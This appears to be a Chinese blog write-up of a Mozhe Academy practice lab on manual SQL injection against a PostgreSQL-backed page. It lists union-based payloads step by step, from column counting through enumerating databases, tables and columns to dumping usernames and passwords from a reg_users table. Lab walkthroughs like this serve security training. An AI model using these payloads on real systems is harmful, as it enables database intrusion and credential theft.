SQL手工注入漏洞测试(PostgreSQL数据库)——墨者学院

1.启动靶场
2寻找注入点

 

3.测试闭合方式
new_list.php?id=1 and 1=2        //无回显
new_list.php?id=1 and 1=1        //回显正常

类型为字符型

4.判断列数

new_list.php?id=1 order by 4         //回显正常
new_list.php?id=1 order by 5        //无回显

列数为4

5.寻找回显点
new_list.php?id=1 and 1=2 union select 'null',null,null,null // ⽆回显
new_list.php?id=1 and 1=2 union select null,'null',null,null // 回显正常
new_list.php?id=1 and 1=2 union select null,null,'null',null // 回显正常
new_list.php?id=1 and 1=2 union select null,null,null,'null' // ⽆回显

测试发现只有第⼆第三个字段是前端回显数据字段
6.查询当前数据库、当前⽤户、版本信息
current_database()         //当前数据库
current_user         //当前⽤户
version()         //版本信息

7.爆出所有的数据库
new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

8.构造Payload爆指定数据库下的表名
new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'        

爆出notice,reg_users表

9.查询reg_users表的字段
new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

爆出reg_users表的字段:id,name,password,status

10.查询reg_users表的数据
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

得到账号和密码

11.解码加密内容

12.登录后台,寻找key

成功!!!

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值